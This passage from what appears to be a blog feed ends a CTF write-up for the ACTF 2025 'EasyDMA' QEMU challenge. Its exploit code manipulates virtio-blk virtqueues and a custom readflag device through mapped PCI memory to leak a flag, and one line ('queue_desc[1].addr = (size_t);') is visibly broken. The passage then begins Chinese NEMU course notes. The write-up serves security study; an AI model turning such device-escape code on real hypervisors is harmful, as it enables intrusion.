0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_OUT 1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_FLUSH 4</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_GET_ID 8</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_GET_LIFETIME 10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_DISCARD 11</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_WRITE_ZEROES 13</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_SECURE_ERASE 14</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">print_cap</span><span class="params">(<span class="keyword">struct</span> virtio_pci_cap* cap)</span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cap_len: %x\n"</span>, cap->cap_len);</span><br><span class="line"> <span class="keyword">switch</span>(cap->cfg_type){</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: common\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: notify\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: isr\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: device\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_PCI_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: pci\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_SHARED_MEMORY:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: shared memory\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_VENDOR_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: vendor\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: unknown\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"bar: %x\n"</span>, cap->bar);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"id: %x\n"</span>, cap->id);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"offset: %x\n"</span>, cap->offset);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"length: %x\n"</span>, cap->length);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ERR</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* buf)</span>{</span><br><span class="line"> perror(buf);</span><br><span class="line"> <span class="built_in">abort</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LOG</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* buf)</span>{</span><br><span class="line"> write(<span class="number">2</span>, buf, <span class="built_in">strlen</span>(buf));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* readflag_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_common_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_notify_cfg</span>* <span class="title">virtio_notify_mmio</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_isr_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* virtio_device_mmio = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* dma_mem = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="type">char</span>* dma_data = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_desc</span>* <span class="title">queue_desc</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_avail</span>* <span class="title">queue_avail</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_used</span>* <span class="title">queue_used</span> =</span> <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_readflag</span><span class="params">()</span>{</span><br><span class="line"> <span class="type">int</span> mmio_fd = open(<span class="string">"/sys/devices/pci0000:00/0000:00:05.0/resource0"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span>(mmio_fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open readflag"</span>);</span><br><span class="line"> }</span><br><span class="line"> readflag_mmio = mmap(<span class="number">0</span>, <span class="number">0x1000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span>(readflag_mmio == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>){</span><br><span class="line"> ERR(<span class="string">"mmap mmio_mem"</span>);</span><br><span class="line"> }</span><br><span class="line"> close(mmio_fd);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"readflag init done"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint8_t</span> <span class="title function_">mmio_read8</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint16_t</span> <span class="title function_">mmio_read16</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint32_t</span> <span class="title function_">mmio_read32</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint64_t</span> <span class="title function_">mmio_read64</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write8</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint8_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write16</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint16_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write32</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint32_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write64</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint64_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mb</span><span class="params">()</span>{</span><br><span class="line"> <span class="keyword">asm</span> <span class="title function_">volatile</span><span class="params">(<span class="string">"mfence"</span>:::<span class="string">"memory"</span>)</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_virtio</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">int</span> fd = open(<span class="string">"/sys/devices/pci0000:00/0000:00:04.0/config"</span>, O_RDONLY);</span><br><span class="line"> <span class="keyword">if</span>(fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open virtio config"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line"> <span class="type">char</span>* config = <span class="built_in">malloc</span>(<span class="number">0x1000</span>);</span><br><span class="line"> <span class="type">int</span> bytes_read = read(fd, config, <span class="number">0x1000</span>);</span><br><span class="line"> <span class="keyword">if</span>(bytes_read < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Read virtio config"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fd = open(<span class="string">"/sys/devices/pci0000:00/0000:00:04.0/resource4"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span>(fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open virtio resource4"</span>);</span><br><span class="line"> }</span><br><span class="line"> virtio_mmio = mmap(<span class="number">0</span>, <span class="number">0x4000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, fd, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span>(virtio_mmio == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>){</span><br><span class="line"> ERR(<span class="string">"mmap virtio mem"</span>);</span><br><span class="line"> }</span><br><span class="line"> close(fd);</span><br><span class="line"></span><br><span class="line"> u8 cap_ptr = *(u8*)(config+<span class="number">0x34</span>);</span><br><span class="line"> <span class="keyword">while</span>(cap_ptr != <span class="number">0</span>){</span><br><span class="line"> <span class="keyword">if</span>(config[cap_ptr] != <span class="number">0x9</span>){</span><br><span class="line"> cap_ptr = *(u8*)(config+cap_ptr+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">memcpy</span>(&cap, config+cap_ptr, <span class="keyword">sizeof</span>(cap));</span><br><span class="line"> print_cap(&cap);</span><br><span class="line"> <span class="keyword">switch</span>(cap.cfg_type){</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line"> virtio_common_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line"> virtio_notify_mmio = (<span class="keyword">struct</span> virtio_notify_cfg*)((<span class="type">size_t</span>)virtio_mmio + cap.offset);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line"> virtio_isr_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line"> virtio_device_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> cap_ptr = cap.cap_next;</span><br><span class="line"> }</span><br><span class="line"> close(fd);</span><br><span class="line"> <span class="built_in">free</span>(config);</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span>* <span class="title">common_cfg</span> =</span> (<span class="keyword">struct</span> virtio_pci_common_cfg*)virtio_common_mmio;</span><br><span class="line"> mmio_write32(&common_cfg->device_feature_select, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"device_feature[0]: %x\n"</span>, mmio_read32(&common_cfg->device_feature));</span><br><span class="line"> mmio_write32(&common_cfg->device_feature_select, <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"device_feature[1]: %x\n"</span>, mmio_read32(&common_cfg->device_feature));</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"driver_feature[0]: %x\n"</span>, mmio_read32(&common_cfg->driver_feature));</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"driver_feature[1]: %x\n"</span>, mmio_read32(&common_cfg->driver_feature));</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span>* <span class="title">blk_cfg</span> =</span> (<span class="keyword">struct</span> virtio_blk_config*)virtio_device_mmio;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"capacity: %lx\n"</span>, mmio_read64(&blk_cfg->capacity));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"size_max: %x\n"</span>, mmio_read32(&blk_cfg->size_max));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"seg_max: %x\n"</span>, mmio_read32(&blk_cfg->seg_max));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.cylinders: %x\n"</span>, mmio_read16(&blk_cfg->geometry.cylinders));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.heads: %x\n"</span>, mmio_read8(&blk_cfg->geometry.heads));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.sectors: %x\n"</span>, mmio_read8(&blk_cfg->geometry.sectors));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"blk_size: %x\n"</span>, mmio_read32(&blk_cfg->blk_size));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// reset device</span></span><br><span class="line"> mmio_write8(&common_cfg->device_status, <span class="number">0</span>);</span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">0</span>);</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature, <span class="number">0</span>); <span class="comment">// disable all features</span></span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> assert(mmio_read8(&common_cfg->device_status) & VIRTIO_CONFIG_S_FEATURES_OK);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">// alloc dma memory</span></span><br><span class="line"> <span class="type">int</span> dma_fd = open(<span class="string">"/dev/mem"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span>(dma_fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open dma"</span>);</span><br><span class="line"> }</span><br><span class="line"> dma_mem = mmap((<span class="type">void</span>*)<span class="number">0x3ffdd000</span>, <span class="number">0x3000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, <span class="number">0x3ffdd000</span>);</span><br><span class="line"> <span class="keyword">if</span>(dma_mem == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>){</span><br><span class="line"> ERR(<span class="string">"mmap dma mem"</span>);</span><br><span class="line"> }</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0x12345678</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%x\n"</span>, *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem);</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"dma_mem: %p\n"</span>, dma_mem);</span><br><span class="line"> dma_data = dma_mem + <span class="number">0x1000</span>;</span><br><span class="line"> queue_desc = (<span class="keyword">struct</span> virtq_desc*)dma_mem;</span><br><span class="line"> queue_avail = (<span class="keyword">struct</span> virtq_avail*)((<span class="type">char</span>*)queue_desc + <span class="number">0x10</span> * VIRTIO_QUEUE_SIZE);</span><br><span class="line"> queue_used = (<span class="keyword">struct</span> virtq_used*)((<span class="type">char</span>*)dma_mem + <span class="number">0x200</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// init queue</span></span><br><span class="line"> mmio_write16(&common_cfg->queue_select, <span class="number">0</span>);</span><br><span class="line"> mmio_write16(&common_cfg->queue_size, VIRTIO_QUEUE_SIZE);</span><br><span class="line"> mmio_write64(&common_cfg->queue_desc, (<span class="type">size_t</span>)<span class="number">0x3ffdd000</span>);</span><br><span class="line"> mmio_write64(&common_cfg->queue_driver, (<span class="type">size_t</span>)<span class="number">0x3ffdd100</span>);</span><br><span class="line"> mmio_write64(&common_cfg->queue_device, (<span class="type">size_t</span>)<span class="number">0x3ffdd200</span>);</span><br><span class="line"> mmio_write16(&common_cfg->queue_enable, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"virtio init done"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">spray</span><span class="params">()</span>{</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0xfff</span>; i > <span class="number">0x28</span>; i-=<span class="number">4</span>){</span><br><span class="line"> mmio_write32((<span class="type">void</span>*)readflag_mmio, i);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">hexdump</span><span class="params">(<span class="type">void</span>* addr, <span class="type">size_t</span> size)</span>{</span><br><span class="line"> <span class="comment">// dump 4 bytes per time</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i < size; i+=<span class="number">4</span>){</span><br><span class="line"> <span class="type">uint32_t</span> val = *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)(addr+i);</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">0</span>; j < <span class="number">4</span>; j++){</span><br><span class="line"> <span class="type">uint8_t</span> chr = (val >> (j*<span class="number">8</span>)) & <span class="number">0xff</span>;</span><br><span class="line"> <span class="keyword">if</span>(chr >= <span class="number">0x20</span> && chr <= <span class="number">0x7e</span>){</span><br><span class="line"> <span class="built_in">putchar</span>(chr);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="built_in">putchar</span>(<span class="string">'?'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"> init_readflag();</span><br><span class="line"> init_virtio();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">volatile</span> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_req</span>* <span class="title">req</span> =</span> (<span class="keyword">struct</span> virtio_blk_req*)dma_data;</span><br><span class="line"> req->type = <span class="number">0xffffffffu</span>;</span><br><span class="line"> req->sector = <span class="number">0</span>;</span><br><span class="line"> req->reserved = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> queue_desc[<span class="number">0</span>].addr = (<span class="type">size_t</span>)req;</span><br><span class="line"> queue_desc[<span class="number">0</span>].len = <span class="number">0x10</span>;</span><br><span class="line"> queue_desc[<span class="number">0</span>].flags = VIRTQ_DESC_F_NEXT;</span><br><span class="line"> queue_desc[<span class="number">0</span>].next = <span class="number">1</span>;</span><br><span class="line"> queue_desc[<span class="number">1</span>].addr = (<span class="type">size_t</span>);</span><br><span class="line"> queue_desc[<span class="number">1</span>].len = <span class="number">0xfff</span>;</span><br><span class="line"> queue_desc[<span class="number">1</span>].flags = VIRTQ_DESC_F_WRITE | VIRTQ_DESC_F_NEXT;</span><br><span class="line"> queue_desc[<span class="number">1</span>].next = <span class="number">2</span>;</span><br><span class="line"> queue_desc[<span class="number">2</span>].addr = (<span class="type">size_t</span>)dma_data + <span class="number">0xa00</span>;</span><br><span class="line"> queue_desc[<span class="number">2</span>].len = <span class="number">1</span>;</span><br><span class="line"> queue_desc[<span class="number">2</span>].flags = VIRTQ_DESC_F_WRITE;</span><br><span class="line"> queue_desc[<span class="number">2</span>].next = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> queue_avail->flags = <span class="number">1</span>;</span><br><span class="line"> queue_avail->ring[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> queue_avail->idx = <span class="number">1</span>;</span><br><span class="line"> mb();</span><br><span class="line"> mmio_write8((<span class="type">void</span>*)virtio_isr_mmio, <span class="number">1</span>);</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span>* <span class="title">common_cfg</span> =</span> (<span class="keyword">struct</span> virtio_pci_common_cfg*)virtio_common_mmio;</span><br><span class="line"> <span class="type">void</span>* notify_addr = (<span class="type">void</span>*)((<span class="type">uintptr_t</span>)virtio_notify_mmio + mmio_read32((<span class="type">void</span>*)&virtio_notify_mmio->cap.offset) + mmio_read16(&common_cfg->queue_notify_off) * mmio_read32((<span class="type">void</span>*)&virtio_notify_mmio->notify_off_multiplier));</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"--------------------------------"</span>);</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">0x100</span>; i+=<span class="number">4</span>){</span><br><span class="line"> spray();</span><br><span class="line"> }</span><br><span class="line"> mmio_write16(notify_addr, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"--------------------------------"</span>);</span><br><span class="line"> hexdump((<span class="type">char</span>*)virtio_common_mmio + <span class="number">0x000</span>, <span class="number">0x100</span>);</span><br><span class="line"></span><br><span class="line"> munmap(dma_mem, <span class="number">0x3000</span>);</span><br><span class="line"> munmap(virtio_mmio, <span class="number">0x4000</span>);</span><br><span class="line"> munmap(readflag_mmio, <span class="number">0x1000</span>);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h1 id="references">References</h1><section id="footnotes" class="footnotes footnotes-end-of-document" role="doc-endnotes"><hr><ol><li id="fn1"><p><a href="https://docs.oasis-open.org/virtio/virtio/v1.1/csprd01/virtio-v1.1-csprd01.html#x1-230005">VirtualI/O Device (VIRTIO) Version 1.1</a><a href="#fnref1" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn2"><p><a href="https://www.redhat.com/en/blog/virtqueues-and-virtio-ring-how-data-travels">Virtqueuesand virtio ring: How the data travels</a><a href="#fnref2" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn3"><p><a href="https://en.wikipedia.org/wiki/Memory-mapped_I/O_and_port-mapped_I/O">Memory-mappedI/O and port-mapped I/O</a><a href="#fnref3" class="footnote-back" role="doc-backlink">↩︎</a></p></li></ol></section>]]></content>
<summary type="html"><h1 id="easydma">EasyDMA</h1>
<p>From: ACTF 2025</p>
<p>题目给出一个去符号的 qemu 二进制文件
<code>qemu-system-x86_64</code>,启动参数如下</p>
<figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"><span class="built_in">timeout</span> --foreground 300 ./qemu-system-x86_64 \</span><br><span class="line"> -L pc-bios \</span><br><span class="line"> -m 1024 \</span><br><span class="line"> -kernel bzImage \</span><br><span class="line"> -initrd rootfs.cpio \</span><br><span class="line"> -drive file=null-co://,<span class="keyword">if</span>=none,<span class="built_in">id</span>=mydisk \</span><br><span class="line"> -device virtio-blk-pci,drive=mydisk,ioeventfd=off \</span><br><span class="line"> -device readflag \</span><br><span class="line"> -append <span class="string">"priority=low console=ttyS0"</span> \</span><br><span class="line"> -monitor /dev/null \</span><br><span class="line"> -nographic</span><br></pre></td></tr></tbody></table></figure></summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="qemu" scheme="http://summ2.link/tags/qemu/"/>
<category term="virtio" scheme="http://summ2.link/tags/virtio/"/>
<category term="dma" scheme="http://summ2.link/tags/dma/"/>
</entry>
<entry>
<title>NJU ICS PA 一些笔记</title>
<link href="http://summ2.link/categories/Study/nju-ics-pa/"/>
<id>http://summ2.link/categories/Study/nju-ics-pa/</id>
<published>2025-03-31T16:00:00.000Z</published>
<updated>2026-01-04T16:00:00.000Z</updated>
<content type="html"><![CDATA[<div class="note info"><p><em>Do you know</em></p><p>本人代码水平拙劣🥲,实现部分仅供参考</p></div><span id="more"></span><p><a href="https://nju-projectn.github.io/ics-pa-gitbook/ics2024/index.html">南京大学计算机科学与技术系 计算机系统基础 课程实验 2024</a></p><h1 id="pa1---开天辟地的篇章">PA1 - 开天辟地的篇章</h1><h2 id="rtfsc">RTFSC</h2><p>文件:<code>nemu/src/monitor/sdb/sdb.c</code></p><p>原因:退出时 <code>nemu_state.state</code> 不是 “正常” 的</p><p>解决办法:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">cmd_q</span><span class="params">(<span class="type">char</span> *args)</span> {</span><br><span class="line"> nemu_state.state = NEMU_QUIT;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="监视点">监视点</h2><h3 id="基本框架">基本框架</h3><p>添加 <code>w <expr></code> 和 <code>d <index></code> 命令,来添加和删除监视点。</p><p>并且需要实现监视点池中链表的维护,监视点表达式的计算。</p><p>为了提高 NEMU 的性能,提供监视点功能的开关选项。</p><h3 id="链表维护">链表维护</h3><p>监视点池中涉及监视点链表和空闲链表,通过 <code>init_wp_pool()</code> 来对其初始化。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">init_wp_pool</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">int</span> i;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < NR_WP; i ++) {</span><br><span class="line"> wp_pool[i].NO = i;</span><br><span class="line"> wp_pool[i].next = (i == NR_WP - <span class="number">1</span> ? <span class="literal">NULL</span> : &wp_pool[i + <span class="number">1</span>]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> head = <span class="literal">NULL</span>;</span><br><span class="line"> free_ = wp_pool;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>接着,通过 <code>new_wp()</code> 和 <code>free_wp()</code> 实现监视点的管理</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">new_wp</span><span class="params">(<span class="type">char</span>* args)</span>{</span><br><span class="line"> WP *p=<span 